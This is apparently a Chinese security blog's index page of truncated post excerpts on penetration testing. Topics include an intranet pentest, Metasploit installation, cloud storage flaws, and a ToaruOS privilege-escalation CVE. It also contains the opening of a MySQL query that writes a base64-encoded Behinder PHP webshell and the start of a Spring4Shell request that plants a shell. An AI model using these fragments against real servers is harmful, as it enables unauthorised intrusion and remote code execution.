记一次内网渗透
前言 拿shell过程我就一笔概括好了，毕竟这是主要讲的内网渗透，就是一个上传点无过滤，就这么来的，而且还是administrator权限，于是就有了这篇文章。 0x01 拿到shell后，看了一下是不是在内网...
二维码安全之看我如何登录你的T账号
漏洞已修复才发的文章 **** ** ==================== 标准的二维码登陆流程如下： 打开web界面进入登陆然后加载二维码 网站开始轮询，来检测二维码状态&nb...
centos7安装msf
一把梭 yum install -y curl,wget yum install sqlite-devel libxslt-devel libxml2-devel java-1.7.0-openjdk libpcap-devel nano openssl-devel zlib-devel libffi-devel gdbm-devel readline...
Java 学习 – 如何编译适配 java 版本的 jar 包
如何编译适配 java 版本的 jar 包 在日常浏览 github 社区的过程中，会碰到一些好用的 java 项目，但作者往往只提供源码或与本地 jdk 不适配的 jar 包，这时候可以自行进行编译 打开项目 build...
云安全 – 常见漏洞学习笔记
面向对象的存储，也被称为云存储，云存储主要分为三部分，分别是 key、data 和 Metadata 假设一个地址为 http//aaa.s3.ap-northeast-2.amazonaws.c/bbb 这里aaa为存储桶的名称，...
CVE-2019-12937 ToaruOS权限提升分析
ToaruOS是一套使用C语言编写的开源计算机操作系统，是一个由伊利诺伊大学计算机科学本科生开发的业余爱好操作系统。ToAruOS可在POSIX和x86架构上运行。ToAruOS的主要功能包括对进程和线程的支持...
mysql写冰蝎马
select '<?php file_put_contents('abab.php',base64_decode('Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0l...
复现SpringFramework CVE-2022-22965_RCE
访问 http://target.com:8090 靶场启动成功 利用Burp 写Shell 写webshell 注意：验证测试时Shell只能写一次 POST / HTTP/1.1 Host: 1.1.1.1:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wi...
